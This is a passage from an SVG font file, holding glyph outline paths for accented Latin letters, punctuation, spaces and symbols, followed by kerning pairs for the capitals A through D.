<glyph unicode="&#xcf;" horiz-adv-x="278" d="M21 799v102h91v-102h-91zM100 0v729h93v-729h-93zM183 799v102h91v-102h-91z" />
<glyph unicode="&#xd0;" horiz-adv-x="722" d="M20 339v67h69v323h282q138 0 217 -97t79 -267t-79 -267.5t-217 -97.5h-282v339h-69zM182 82h173q107 0 163 72t56 211t-56 210.5t-163 71.5h-173v-241h171v-67h-171v-257z" />
<glyph unicode="&#xd1;" horiz-adv-x="722" d="M76 0v729h101l381 -596v596h88v-729h-105l-377 591v-591h-88zM200 799q8 49 30.5 76t55.5 27q23 0 70 -19q41 -18 63 -18q25 0 37 37h58q-15 -104 -89 -104q-21 0 -85 25q-35 13 -49 13q-23 0 -33 -37h-58z" />
<glyph unicode="&#xd2;" horiz-adv-x="778" d="M38 359q0 172 97.5 280t253.5 108q160 0 256.5 -108.5t96.5 -285.5q0 -163 -96.5 -267t-255.5 -104q-158 0 -255 103.5t-97 273.5zM131 359q0 -134 71 -214.5t188 -80.5q116 0 187.5 80t71.5 211q0 139 -71 224.5t-189 85.5q-115 0 -186.5 -85.5t-71.5 -220.5zM174 916 h136l115 -133h-72z" />
<glyph unicode="&#xd3;" horiz-adv-x="778" d="M38 359q0 172 97.5 280t253.5 108q160 0 256.5 -108.5t96.5 -285.5q0 -163 -96.5 -267t-255.5 -104q-158 0 -255 103.5t-97 273.5zM131 359q0 -134 71 -214.5t188 -80.5q116 0 187.5 80t71.5 211q0 139 -71 224.5t-189 85.5q-115 0 -186.5 -85.5t-71.5 -220.5zM353 783 l115 133h136l-179 -133h-72z" />
<glyph unicode="&#xd4;" horiz-adv-x="778" d="M38 359q0 172 97.5 280t253.5 108q160 0 256.5 -108.5t96.5 -285.5q0 -163 -96.5 -267t-255.5 -104q-158 0 -255 103.5t-97 273.5zM131 359q0 -134 71 -214.5t188 -80.5q116 0 187.5 80t71.5 211q0 139 -71 224.5t-189 85.5q-115 0 -186.5 -85.5t-71.5 -220.5zM217 783 l115 135h114l115 -135h-75l-97 86l-95 -86h-77z" />
<glyph unicode="&#xd5;" horiz-adv-x="778" d="M38 359q0 172 97.5 280t253.5 108q160 0 256.5 -108.5t96.5 -285.5q0 -163 -96.5 -267t-255.5 -104q-158 0 -255 103.5t-97 273.5zM131 359q0 -134 71 -214.5t188 -80.5q116 0 187.5 80t71.5 211q0 139 -71 224.5t-189 85.5q-115 0 -186.5 -85.5t-71.5 -220.5zM228 799 q8 49 30.5 76t55.5 27q23 0 70 -19q41 -18 63 -18q25 0 37 37h58q-15 -104 -89 -104q-21 0 -85 25q-35 13 -49 13q-23 0 -33 -37h-58z" />
<glyph unicode="&#xd6;" horiz-adv-x="778" d="M38 359q0 172 97.5 280t253.5 108q160 0 256.5 -108.5t96.5 -285.5q0 -163 -96.5 -267t-255.5 -104q-158 0 -255 103.5t-97 273.5zM131 359q0 -134 71 -214.5t188 -80.5q116 0 187.5 80t71.5 211q0 139 -71 224.5t-189 85.5q-115 0 -186.5 -85.5t-71.5 -220.5zM263 799 v102h91v-102h-91zM425 799v102h91v-102h-91z" />
<glyph unicode="&#xd7;" horiz-adv-x="584" d="M110 116l134 134l-134 134l48 48l134 -134l134 134l48 -48l-134 -134l134 -134l-48 -48l-134 134l-134 -134z" />
<glyph unicode="&#xd8;" horiz-adv-x="778" d="M38 21l79 86q-79 99 -79 252q0 172 97.5 280t253.5 108q142 0 235 -87l77 85l41 -37l-81 -88q81 -106 81 -267q0 -163 -96.5 -267t-255.5 -104q-143 0 -236 84l-75 -82zM131 359q0 -110 48 -184l385 420q-68 70 -175 70q-115 0 -186.5 -85.5t-71.5 -220.5zM214 132 q68 -68 176 -68q116 0 187.5 80t71.5 211q0 117 -51 196z" />
<glyph unicode="&#xd9;" horiz-adv-x="722" d="M85 222v507h93v-507q0 -77 50.5 -117.5t135.5 -40.5q88 0 138 42t50 116v507h93v-507q0 -110 -76.5 -175t-204.5 -65q-130 0 -204.5 64.5t-74.5 175.5zM146 916h136l115 -133h-72z" />
<glyph unicode="&#xda;" horiz-adv-x="722" d="M85 222v507h93v-507q0 -77 50.5 -117.5t135.5 -40.5q88 0 138 42t50 116v507h93v-507q0 -110 -76.5 -175t-204.5 -65q-130 0 -204.5 64.5t-74.5 175.5zM325 783l115 133h136l-179 -133h-72z" />
<glyph unicode="&#xdb;" horiz-adv-x="722" d="M85 222v507h93v-507q0 -77 50.5 -117.5t135.5 -40.5q88 0 138 42t50 116v507h93v-507q0 -110 -76.5 -175t-204.5 -65q-130 0 -204.5 64.5t-74.5 175.5zM189 783l115 135h114l115 -135h-75l-97 86l-95 -86h-77z" />
<glyph unicode="&#xdc;" horiz-adv-x="722" d="M85 222v507h93v-507q0 -77 50.5 -117.5t135.5 -40.5q88 0 138 42t50 116v507h93v-507q0 -110 -76.5 -175t-204.5 -65q-130 0 -204.5 64.5t-74.5 175.5zM235 799v102h91v-102h-91zM397 799v102h91v-102h-91z" />
<glyph unicode="&#xdd;" horiz-adv-x="667" d="M13 729h115l214 -355l208 355h111l-274 -443v-286h-93v286zM305 783l115 133h136l-179 -133h-72z" />
<glyph unicode="&#xde;" horiz-adv-x="667" d="M91 0v729h93v-120h208q104 0 164 -56.5t60 -155.5q0 -91 -57 -149.5t-146 -58.5h-229v-189h-93zM184 271h194q65 0 101.5 34t36.5 94t-36.5 94t-101.5 34h-194v-256z" />
<glyph unicode="&#xdf;" horiz-adv-x="611" d="M70 0v538q0 82 65.5 136.5t155.5 54.5q95 0 164.5 -51.5t69.5 -132.5q0 -48 -27 -87.5t-72 -56.5q62 -16 101 -67t39 -115q0 -110 -60.5 -174.5t-163.5 -64.5q-47 0 -84 4v83q42 -5 76 -5q64 0 104.5 42t40.5 109q0 77 -46 106.5t-141 29.5v82q59 0 102.5 30.5t43.5 80.5 q0 49 -43.5 79t-101.5 30q-57 0 -98.5 -32t-41.5 -81v-538h-83z" />
<glyph unicode="&#xe0;" d="M42 136q0 98 92 136q25 10 53 15.5t115 16.5q49 6 68 19t19 39v22q0 38 -30.5 58t-86.5 20q-58 0 -88 -22.5t-35 -70.5h-84q7 170 210 170q97 0 147 -36.5t50 -106.5v-292q0 -41 45 -41q9 0 18 2v-63q-35 -9 -57 -9q-31 0 -55 19.5t-31 49.5q-72 -77 -178 -77 q-80 0 -126 40t-46 111zM96 729h113l96 -148h-60zM129 138q0 -80 103 -80q63 0 110 34.5t47 88.5v78q-33 -15 -134 -29q-68 -10 -97 -30.5t-29 -61.5z" />
<glyph unicode="&#xe1;" d="M42 136q0 98 92 136q25 10 53 15.5t115 16.5q49 6 68 19t19 39v22q0 38 -30.5 58t-86.5 20q-58 0 -88 -22.5t-35 -70.5h-84q7 170 210 170q97 0 147 -36.5t50 -106.5v-292q0 -41 45 -41q9 0 18 2v-63q-35 -9 -57 -9q-31 0 -55 19.5t-31 49.5q-72 -77 -178 -77 q-80 0 -126 40t-46 111zM129 138q0 -80 103 -80q63 0 110 34.5t47 88.5v78q-33 -15 -134 -29q-68 -10 -97 -30.5t-29 -61.5zM245 581l96 148h113l-149 -148h-60z" />
<glyph unicode="&#xe2;" d="M42 136q0 98 92 136q25 10 53 15.5t115 16.5q49 6 68 19t19 39v22q0 38 -30.5 58t-86.5 20q-58 0 -88 -22.5t-35 -70.5h-84q7 170 210 170q97 0 147 -36.5t50 -106.5v-292q0 -41 45 -41q9 0 18 2v-63q-35 -9 -57 -9q-31 0 -55 19.5t-31 49.5q-72 -77 -178 -77 q-80 0 -126 40t-46 111zM129 138q0 -80 103 -80q63 0 110 34.5t47 88.5v78q-33 -15 -134 -29q-68 -10 -97 -30.5t-29 -61.5zM131 580l96 150h95l96 -150h-63l-81 96l-79 -96h-64z" />
<glyph unicode="&#xe3;" d="M42 136q0 98 92 136q25 10 53 15.5t115 16.5q49 6 68 19t19 39v22q0 38 -30.5 58t-86.5 20q-58 0 -88 -22.5t-35 -70.5h-84q7 170 210 170q97 0 147 -36.5t50 -106.5v-292q0 -41 45 -41q9 0 18 2v-63q-35 -9 -57 -9q-31 0 -55 19.5t-31 49.5q-72 -77 -178 -77 q-80 0 -126 40t-46 111zM113 604q8 49 30.5 76t55.5 27q23 0 70 -19q41 -18 63 -18q25 0 37 37h58q-15 -104 -89 -104q-21 0 -85 25q-35 13 -49 13q-23 0 -33 -37h-58zM129 138q0 -80 103 -80q63 0 110 34.5t47 88.5v78q-33 -15 -134 -29q-68 -10 -97 -30.5t-29 -61.5z" />
<glyph unicode="&#xe4;" d="M42 136q0 98 92 136q25 10 53 15.5t115 16.5q49 6 68 19t19 39v22q0 38 -30.5 58t-86.5 20q-58 0 -88 -22.5t-35 -70.5h-84q7 170 210 170q97 0 147 -36.5t50 -106.5v-292q0 -41 45 -41q9 0 18 2v-63q-35 -9 -57 -9q-31 0 -55 19.5t-31 49.5q-72 -77 -178 -77 q-80 0 -126 40t-46 111zM129 138q0 -80 103 -80q63 0 110 34.5t47 88.5v78q-33 -15 -134 -29q-68 -10 -97 -30.5t-29 -61.5zM148 604v102h91v-102h-91zM310 604v102h91v-102h-91z" />
<glyph unicode="&#xe5;" d="M42 136q0 98 92 136q25 10 53 15.5t115 16.5q49 6 68 19t19 39v22q0 38 -30.5 58t-86.5 20q-58 0 -88 -22.5t-35 -70.5h-84q7 170 210 170q97 0 147 -36.5t50 -106.5v-292q0 -41 45 -41q9 0 18 2v-63q-35 -9 -57 -9q-31 0 -55 19.5t-31 49.5q-72 -77 -178 -77 q-80 0 -126 40t-46 111zM129 138q0 -80 103 -80q63 0 110 34.5t47 88.5v78q-33 -15 -134 -29q-68 -10 -97 -30.5t-29 -61.5zM178 656q0 38 28.5 66.5t68.5 28.5t68 -28.5t28 -68.5q0 -39 -28.5 -67t-67.5 -28q-40 0 -68.5 28.5t-28.5 68.5zM226 656q0 -20 14.5 -34.5 t34.5 -14.5q19 0 33.5 14t14.5 33q0 21 -14 35t-34 14t-34.5 -14t-14.5 -33z" />
<glyph unicode="&#xe6;" horiz-adv-x="889" d="M34 136q0 82 54.5 118t205.5 49q51 4 69 17t18 42v22q0 78 -118 78q-112 0 -122 -93h-84q7 170 208 170q128 0 175 -82q27 38 73 60t100 22q73 0 129 -37t82 -101q21 -55 21 -167h-386q1 -82 44 -127t110 -45q100 0 138 97h84q-16 -80 -75.5 -127t-147.5 -47 q-58 0 -105 22t-73 61l-16 27q-56 -58 -106.5 -84t-109.5 -26q-77 0 -122.5 40.5t-45.5 110.5zM121 138q0 -39 26.5 -59.5t73.5 -20.5q55 0 107.5 36.5t52.5 70.5v93q-33 -14 -134 -29q-69 -10 -97.5 -30t-28.5 -61zM461 302h294q0 71 -40 115.5t-104 44.5q-63 0 -104 -43.5 t-46 -116.5z" />
<glyph unicode="&#xe7;" horiz-adv-x="500" d="M31 257q0 130 63.5 206t169.5 76q90 0 145 -48.5t62 -142.5h-84q-8 55 -40 84.5t-84 29.5q-69 0 -107 -53.5t-38 -151.5q0 -93 39 -144t108 -51q54 0 86 28t42 90h84q-7 -83 -55.5 -134.5t-130.5 -59.5l-16 -40h23q36 0 57.5 -24.5t21.5 -58.5q0 -43 -33 -68t-90 -25 q-47 0 -125 34l21 40l9 -4q58 -29 89 -29q23 0 38.5 13t15.5 32q0 18 -12.5 31t-33.5 13q-14 0 -31 -4l-17 12l34 78q-98 8 -154.5 80t-56.5 191z" />
<glyph unicode="&#xe8;" d="M40 259q0 129 65 204.5t175 75.5q74 0 130.5 -37t81.5 -101q21 -55 21 -163h-386q1 -87 43.5 -131.5t110.5 -44.5q105 0 137 97h84q-16 -80 -75.5 -127t-148.5 -47q-111 0 -174.5 72.5t-63.5 201.5zM101 729h113l96 -148h-60zM129 306h294l1 6q0 62 -42 106t-103 44 q-63 0 -104 -43t-46 -113z" />
<glyph unicode="&#xe9;" d="M40 259q0 129 65 204.5t175 75.5q74 0 130.5 -37t81.5 -101q21 -55 21 -163h-386q1 -87 43.5 -131.5t110.5 -44.5q105 0 137 97h84q-16 -80 -75.5 -127t-148.5 -47q-111 0 -174.5 72.5t-63.5 201.5zM129 306h294l1 6q0 62 -42 106t-103 44q-63 0 -104 -43t-46 -113z M250 581l96 148h113l-149 -148h-60z" />
<glyph unicode="&#xea;" d="M40 259q0 129 65 204.5t175 75.5q74 0 130.5 -37t81.5 -101q21 -55 21 -163h-386q1 -87 43.5 -131.5t110.5 -44.5q105 0 137 97h84q-16 -80 -75.5 -127t-148.5 -47q-111 0 -174.5 72.5t-63.5 201.5zM129 306h294l1 6q0 62 -42 106t-103 44q-63 0 -104 -43t-46 -113z M136 580l96 150h95l96 -150h-63l-81 96l-79 -96h-64z" />
<glyph unicode="&#xeb;" d="M40 259q0 129 65 204.5t175 75.5q74 0 130.5 -37t81.5 -101q21 -55 21 -163h-386q1 -87 43.5 -131.5t110.5 -44.5q105 0 137 97h84q-16 -80 -75.5 -127t-148.5 -47q-111 0 -174.5 72.5t-63.5 201.5zM129 306h294l1 6q0 62 -42 106t-103 44q-63 0 -104 -43t-46 -113z M153 604v102h91v-102h-91zM315 604v102h91v-102h-91z" />
<glyph unicode="&#xec;" horiz-adv-x="278" d="M-28 729h113l96 -148h-60zM98 0v524h83v-524h-83z" />
<glyph unicode="&#xed;" horiz-adv-x="278" d="M98 0v524h83v-524h-83zM99 581l96 148h113l-149 -148h-60z" />
<glyph unicode="&#xee;" horiz-adv-x="278" d="M-4 580l96 150h95l96 -150h-63l-81 96l-79 -96h-64zM98 0v524h83v-524h-83z" />
<glyph unicode="&#xef;" horiz-adv-x="278" d="M13 604v102h91v-102h-91zM98 0v524h83v-524h-83zM175 604v102h91v-102h-91z" />
<glyph unicode="&#xf0;" d="M36 262q0 128 59 201.5t159 73.5q24 0 63 -13q-39 40 -98 89l-97 -45l-36 39l85 40q-30 23 -82 52l44 44q37 -16 111 -63l97 45l40 -37l-90 -41q117 -89 168 -181t51 -203q0 -134 -61.5 -206t-175.5 -72t-175.5 71.5t-61.5 205.5zM123 262q0 -94 40 -147t110 -53 q69 0 109.5 52.5t40.5 144.5q0 97 -39.5 150t-110.5 53q-70 0 -110 -53t-40 -147z" />
<glyph unicode="&#xf1;" d="M70 0v524h77v-88q35 55 75.5 79t98.5 24q76 0 121 -39t45 -104v-396h-83v363q0 47 -29 75t-79 28q-64 0 -103.5 -48.5t-39.5 -128.5v-289h-83zM116 604q8 49 30.5 76t55.5 27q23 0 70 -19q41 -18 63 -18q25 0 37 37h58q-15 -104 -89 -104q-21 0 -85 25q-35 13 -49 13 q-23 0 -33 -37h-58z" />
<glyph unicode="&#xf2;" d="M36 262q0 131 62.5 204t173.5 73q114 0 176 -73t62 -208q0 -129 -63 -201t-174 -72q-112 0 -174.5 72.5t-62.5 204.5zM99 729h113l96 -148h-60zM123 262q0 -95 40 -147.5t110 -52.5q69 0 109.5 52.5t40.5 144.5q0 97 -39.5 150t-110.5 53q-70 0 -110 -53t-40 -147z" />
<glyph unicode="&#xf3;" d="M36 262q0 131 62.5 204t173.5 73q114 0 176 -73t62 -208q0 -129 -63 -201t-174 -72q-112 0 -174.5 72.5t-62.5 204.5zM123 262q0 -95 40 -147.5t110 -52.5q69 0 109.5 52.5t40.5 144.5q0 97 -39.5 150t-110.5 53q-70 0 -110 -53t-40 -147zM248 581l96 148h113l-149 -148 h-60z" />
<glyph unicode="&#xf4;" d="M36 262q0 131 62.5 204t173.5 73q114 0 176 -73t62 -208q0 -129 -63 -201t-174 -72q-112 0 -174.5 72.5t-62.5 204.5zM123 262q0 -95 40 -147.5t110 -52.5q69 0 109.5 52.5t40.5 144.5q0 97 -39.5 150t-110.5 53q-70 0 -110 -53t-40 -147zM134 580l96 150h95l96 -150h-63 l-81 96l-79 -96h-64z" />
<glyph unicode="&#xf5;" d="M36 262q0 131 62.5 204t173.5 73q114 0 176 -73t62 -208q0 -129 -63 -201t-174 -72q-112 0 -174.5 72.5t-62.5 204.5zM116 604q8 49 30.5 76t55.5 27q23 0 70 -19q41 -18 63 -18q25 0 37 37h58q-15 -104 -89 -104q-21 0 -85 25q-35 13 -49 13q-23 0 -33 -37h-58zM123 262 q0 -95 40 -147.5t110 -52.5q69 0 109.5 52.5t40.5 144.5q0 97 -39.5 150t-110.5 53q-70 0 -110 -53t-40 -147z" />
<glyph unicode="&#xf6;" d="M36 262q0 131 62.5 204t173.5 73q114 0 176 -73t62 -208q0 -129 -63 -201t-174 -72q-112 0 -174.5 72.5t-62.5 204.5zM123 262q0 -95 40 -147.5t110 -52.5q69 0 109.5 52.5t40.5 144.5q0 97 -39.5 150t-110.5 53q-70 0 -110 -53t-40 -147zM151 604v102h91v-102h-91z M313 604v102h91v-102h-91z" />
<glyph unicode="&#xf7;" horiz-adv-x="584" d="M68 216v68h448v-68h-448zM240 68q0 21 15 36.5t37 15.5t37 -15.5t15 -36.5q0 -22 -15 -37t-37 -15t-37 15t-15 37zM240 432q0 22 15 37t37 15t37 -15t15 -37q0 -21 -15 -36.5t-37 -15.5t-37 15.5t-15 36.5z" />
<glyph unicode="&#xf8;" d="M36 262q0 131 62.5 204t173.5 73q98 0 157 -54l42 49l37 -31l-46 -55q48 -73 48 -190q0 -129 -63 -201t-174 -72q-96 0 -156 54l-42 -49l-37 31l46 55q-48 73 -48 186zM123 262q0 -68 21 -115l230 273q-37 42 -101 42q-70 0 -110 -53t-40 -147zM172 104q39 -42 101 -42 q69 0 109.5 52.5t40.5 144.5q0 70 -21 118z" />
<glyph unicode="&#xf9;" d="M65 128v396h83v-363q0 -47 29 -75t79 -28q65 0 104 48.5t39 128.5v289h83v-524h-75v81q-37 -52 -77 -74t-98 -22q-76 0 -121.5 39t-45.5 104zM99 729h113l96 -148h-60z" />
<glyph unicode="&#xfa;" d="M65 128v396h83v-363q0 -47 29 -75t79 -28q65 0 104 48.5t39 128.5v289h83v-524h-75v81q-37 -52 -77 -74t-98 -22q-76 0 -121.5 39t-45.5 104zM248 581l96 148h113l-149 -148h-60z" />
<glyph unicode="&#xfb;" d="M65 128v396h83v-363q0 -47 29 -75t79 -28q65 0 104 48.5t39 128.5v289h83v-524h-75v81q-37 -52 -77 -74t-98 -22q-76 0 -121.5 39t-45.5 104zM134 580l96 150h95l96 -150h-63l-81 96l-79 -96h-64z" />
<glyph unicode="&#xfc;" d="M65 128v396h83v-363q0 -47 29 -75t79 -28q65 0 104 48.5t39 128.5v289h83v-524h-75v81q-37 -52 -77 -74t-98 -22q-76 0 -121.5 39t-45.5 104zM151 604v102h91v-102h-91zM313 604v102h91v-102h-91z" />
<glyph unicode="&#xfd;" horiz-adv-x="500" d="M20 524h89l134 -408l145 408h90l-233 -634q-40 -108 -135 -108q-31 0 -56 13v75q27 -6 44 -6q27 0 41.5 11.5t25.5 39.5l32 83zM220 581l96 148h113l-149 -148h-60z" />
<glyph unicode="&#xfe;" d="M54 -218v932h83v-255q56 80 161 80q102 0 163 -78t61 -208q0 -120 -61.5 -194t-162.5 -74q-97 0 -161 78v-281h-83zM137 258q0 -87 40 -141t106 -54q68 0 110 54t42 138q0 94 -41.5 150t-110.5 56q-66 0 -106 -55.5t-40 -147.5z" />
<glyph unicode="&#xff;" horiz-adv-x="500" d="M20 524h89l134 -408l145 408h90l-233 -634q-40 -108 -135 -108q-31 0 -56 13v75q27 -6 44 -6q27 0 41.5 11.5t25.5 39.5l32 83zM123 604v102h91v-102h-91zM285 604v102h91v-102h-91z" />
<glyph unicode="&#x152;" horiz-adv-x="1000" d="M43 356q0 178 80.5 281.5t218.5 103.5q121 0 183 -88v76h429v-82h-336v-238h328v-82h-328v-245h341v-82h-434v79q-67 -94 -184 -94q-139 0 -218.5 98.5t-79.5 272.5zM136 360q0 -144 52 -218.5t153 -74.5q125 0 184 120v352q-59 120 -183 120q-102 0 -154 -76t-52 -223z " />
<glyph unicode="&#x153;" horiz-adv-x="944" d="M40 259q0 134 62 207t175 73q135 0 196 -106q31 50 81.5 78t111.5 28q74 0 130.5 -37t81.5 -101q21 -55 21 -167h-386q1 -82 44 -127t110 -45q100 0 137 97h84q-16 -80 -75 -127t-148 -47q-132 0 -194 103q-63 -103 -194 -103q-113 0 -175 72.5t-62 201.5zM127 259 q0 -90 40.5 -143.5t109.5 -53.5t109.5 53t40.5 141q0 97 -40 151.5t-110 54.5t-110 -54.5t-40 -148.5zM515 302h294q0 71 -40 115.5t-104 44.5q-63 0 -104 -43.5t-46 -116.5z" />
<glyph unicode="&#x178;" horiz-adv-x="667" d="M13 729h115l214 -355l208 355h111l-274 -443v-286h-93v286zM215 799v102h91v-102h-91zM377 799v102h91v-102h-91z" />
<glyph unicode="&#x2c6;" horiz-adv-x="333" d="M23 580l96 150h95l96 -150h-63l-81 96l-79 -96h-64z" />
<glyph unicode="&#x2dc;" horiz-adv-x="333" d="M5 604q8 49 30.5 76t55.5 27q23 0 70 -19q41 -18 63 -18q25 0 37 37h58q-15 -104 -89 -104q-21 0 -85 25q-35 13 -49 13q-23 0 -33 -37h-58z" />
<glyph unicode="&#x2000;" horiz-adv-x="480" />
<glyph unicode="&#x2001;" horiz-adv-x="961" />
<glyph unicode="&#x2002;" horiz-adv-x="480" />
<glyph unicode="&#x2003;" horiz-adv-x="961" />
<glyph unicode="&#x2004;" horiz-adv-x="320" />
<glyph unicode="&#x2005;" horiz-adv-x="240" />
<glyph unicode="&#x2006;" horiz-adv-x="160" />
<glyph unicode="&#x2007;" horiz-adv-x="160" />
<glyph unicode="&#x2008;" horiz-adv-x="120" />
<glyph unicode="&#x2009;" horiz-adv-x="192" />
<glyph unicode="&#x200a;" horiz-adv-x="53" />
<glyph unicode="&#x2010;" horiz-adv-x="333" d="M46 240v72h238v-72h-238z" />
<glyph unicode="&#x2011;" horiz-adv-x="333" d="M46 240v72h238v-72h-238z" />
<glyph unicode="&#x2012;" horiz-adv-x="333" d="M46 240v72h238v-72h-238z" />
<glyph unicode="&#x2013;" d="M0 240v72h555v-72h-555z" />
<glyph unicode="&#x2014;" horiz-adv-x="1000" d="M0 240v72h1000v-72h-1000z" />
<glyph unicode="&#x2018;" horiz-adv-x="222" d="M65 477v101q0 59 24 93t69 38v-38q-26 -4 -37 -25.5t-11 -64.5h48v-104h-93z" />
<glyph unicode="&#x2019;" horiz-adv-x="222" d="M64 497v38q27 4 37.5 25t10.5 65h-48v104h93v-101q0 -123 -93 -131z" />
<glyph unicode="&#x201a;" horiz-adv-x="222" d="M64 -90q49 7 49 80v10h-48v104h93v-101q0 -123 -94 -131v38z" />
<glyph unicode="&#x201c;" horiz-adv-x="333" d="M48 477v101q0 59 24 93t69 38v-38q-26 -4 -37 -25.5t-11 -64.5h48v-104h-93zM206 477v101q0 59 24 93t69 38v-38q-26 -4 -37 -25.5t-11 -64.5h48v-104h-93z" />
<glyph unicode="&#x201d;" horiz-adv-x="333" d="M49 477v38q27 4 37.5 25t10.5 65h-48v104h93v-101q0 -123 -93 -131zM209 477v38q27 4 37.5 25t10.5 65h-48v104h93v-101q0 -123 -93 -131z" />
<glyph unicode="&#x201e;" horiz-adv-x="333" d="M47 0v104h93v-101q0 -123 -93 -131v38q27 4 37.5 25t10.5 65h-48zM207 0v104h93v-101q0 -123 -93 -131v38q27 4 37.5 25t10.5 65h-48z" />
<glyph unicode="&#x2022;" horiz-adv-x="350" d="M50 345q0 52 36.5 88.5t88.5 36.5t88.5 -37t36.5 -90q0 -50 -37 -86.5t-88 -36.5q-52 0 -88.5 36.5t-36.5 88.5z" />
<glyph unicode="&#x2026;" horiz-adv-x="1000" d="M115 0v104h104v-104h-104zM448 0v104h104v-104h-104zM781 0v104h104v-104h-104z" />
<glyph unicode="&#x202f;" horiz-adv-x="192" />
<glyph unicode="&#x2039;" horiz-adv-x="333" d="M91 227v89l152 122v-83l-106 -83l106 -83v-83z" />
<glyph unicode="&#x203a;" horiz-adv-x="333" d="M85 106v83l108 83l-108 83v83l154 -121v-89z" />
<glyph unicode="&#x205f;" horiz-adv-x="240" />
<glyph unicode="&#x20ac;" d="M2 254l22 59h55v25q0 22 2 41h-79l22 59h63q19 122 88 196.5t176 74.5q98 0 192 -67l-32 -80q-54 40 -90.5 55.5t-76.5 15.5q-64 0 -104.5 -47.5t-61.5 -147.5h284l-23 -59h-270q-2 -16 -2 -36q0 -15 1 -30h246l-24 -59h-214q36 -191 169 -191q36 0 70.5 13t95.5 49v-93 q-77 -47 -166 -47q-213 0 -260 269h-83z" />
<glyph unicode="&#x2122;" horiz-adv-x="1000" d="M68 678v51h362v-51h-148v-347h-65v347h-149zM499 331v398h87l131 -333l128 333h87v-398h-62v310l-121 -310h-66l-121 310v-310h-63z" />
<glyph unicode="&#xe000;" horiz-adv-x="525" d="M0 0v525h525v-525h-525z" />
<hkern u1="&#x2c;" u2="&#x201d;" k="40" />
<hkern u1="&#x2c;" u2="&#x2019;" k="50" />
<hkern u1="&#x2d;" u2="&#x178;" k="90" />
<hkern u1="&#x2d;" u2="&#xc6;" k="10" />
<hkern u1="&#x2d;" u2="&#xc5;" k="5" />
<hkern u1="&#x2d;" u2="&#xc4;" k="5" />
<hkern u1="&#x2d;" u2="Y" k="90" />
<hkern u1="&#x2d;" u2="W" k="20" />
<hkern u1="&#x2d;" u2="V" k="45" />
<hkern u1="&#x2d;" u2="T" k="80" />
<hkern u1="&#x2d;" u2="A" k="5" />
<hkern u1="&#x2e;" u2="&#x201d;" k="40" />
<hkern u1="&#x2e;" u2="&#x2019;" k="50" />
<hkern u1="A" u2="&#x2039;" k="40" />
<hkern u1="A" u2="&#x201d;" k="55" />
<hkern u1="A" u2="&#x2019;" k="65" />
<hkern u1="A" u2="&#x178;" k="100" />
<hkern u1="A" u2="&#xff;" k="35" />
<hkern u1="A" u2="&#xfc;" k="10" />
<hkern u1="A" u2="&#xfb;" k="10" />
<hkern u1="A" u2="&#xf8;" k="15" />
<hkern u1="A" u2="&#xf6;" k="15" />
<hkern u1="A" u2="&#xf2;" k="15" />
<hkern u1="A" u2="&#xeb;" k="15" />
<hkern u1="A" u2="&#xe7;" k="10" />
<hkern u1="A" u2="&#xe5;" k="5" />
<hkern u1="A" u2="&#xe4;" k="5" />
<hkern u1="A" u2="&#xdc;" k="35" />
<hkern u1="A" u2="&#xdb;" k="35" />
<hkern u1="A" u2="&#xd8;" k="35" />
<hkern u1="A" u2="&#xd6;" k="35" />
<hkern u1="A" u2="&#xd2;" k="35" />
<hkern u1="A" u2="&#xc7;" k="35" />
<hkern u1="A" u2="&#xab;" k="45" />
<hkern u1="A" u2="y" k="35" />
<hkern u1="A" u2="w" k="20" />
<hkern u1="A" u2="v" k="30" />
<hkern u1="A" u2="u" k="10" />
<hkern u1="A" u2="t" k="15" />
<hkern u1="A" u2="q" k="10" />
<hkern u1="A" u2="o" k="15" />
<hkern u1="A" u2="g" k="10" />
<hkern u1="A" u2="e" k="15" />
<hkern u1="A" u2="d" k="10" />
<hkern u1="A" u2="c" k="10" />
<hkern u1="A" u2="b" k="-5" />
<hkern u1="A" u2="a" k="5" />
<hkern u1="A" u2="Y" k="100" />
<hkern u1="A" u2="W" k="50" />
<hkern u1="A" u2="V" k="75" />
<hkern u1="A" u2="U" k="35" />
<hkern u1="A" u2="T" k="95" />
<hkern u1="A" u2="Q" k="30" />
<hkern u1="A" u2="O" k="35" />
<hkern u1="A" u2="G" k="35" />
<hkern u1="A" u2="C" k="35" />
<hkern u1="A" u2="&#x2e;" k="-5" />
<hkern u1="A" u2="&#x2d;" k="5" />
<hkern u1="A" u2="&#x2c;" k="-5" />
<hkern u1="B" u2="&#xe000;" k="15" />
<hkern u1="B" u2="&#x178;" k="45" />
<hkern u1="B" u2="&#x152;" k="5" />
<hkern u1="B" u2="&#xd8;" k="5" />
<hkern u1="B" u2="&#xd6;" k="5" />
<hkern u1="B" u2="&#xd5;" k="5" />
<hkern u1="B" u2="&#xd4;" k="5" />
<hkern u1="B" u2="&#xd3;" k="5" />
<hkern u1="B" u2="&#xd2;" k="5" />
<hkern u1="B" u2="&#xc6;" k="20" />
<hkern u1="B" u2="&#xc5;" k="20" />
<hkern u1="B" u2="&#xc4;" k="20" />
<hkern u1="B" u2="&#xc3;" k="20" />
<hkern u1="B" u2="&#xc2;" k="20" />
<hkern u1="B" u2="&#xc1;" k="20" />
<hkern u1="B" u2="&#xc0;" k="20" />
<hkern u1="B" u2="Y" k="45" />
<hkern u1="B" u2="W" k="25" />
<hkern u1="B" u2="V" k="40" />
<hkern u1="B" u2="O" k="5" />
<hkern u1="B" u2="A" k="20" />
<hkern u1="C" u2="&#xe000;" k="25" />
<hkern u1="C" u2="&#xd8;" k="10" />
<hkern u1="C" u2="&#xd6;" k="10" />
<hkern u1="C" u2="&#xd5;" k="10" />
<hkern u1="C" u2="&#xd4;" k="10" />
<hkern u1="C" u2="&#xd3;" k="10" />
<hkern u1="C" u2="&#xd2;" k="10" />
<hkern u1="C" u2="&#xc6;" k="35" />
<hkern u1="C" u2="&#xc5;" k="30" />
<hkern u1="C" u2="&#xc4;" k="30" />
<hkern u1="C" u2="&#xc3;" k="30" />
<hkern u1="C" u2="&#xc2;" k="30" />
<hkern u1="C" u2="&#xc1;" k="30" />
<hkern u1="C" u2="&#xc0;" k="30" />
<hkern u1="C" u2="O" k="10" />
<hkern u1="C" u2="K" k="10" />
<hkern u1="C" u2="H" k="10" />
<hkern u1="C" u2="A" k="30" />
<hkern u1="D" u2="&#xe000;" k="35" />
<hkern u1="D" u2="&#x178;" k="65" />
<hkern u1="D" u2="&#xc5;" k="40" />
<hkern u1="D" u2="&#xc4;" k="40" />
<hkern u1="D" u2="&#xc3;" k="40" />
<hkern u1="D" u2="&#xc2;" k="40" />
<hkern u1="D" u2="&#xc1;" k="40" />
<hkern u1="D" u2="&#xc0;" k="40" />
<hkern u1="D" u2="Y" k="65" />
<hkern u1="D" u2="X" k="55" />
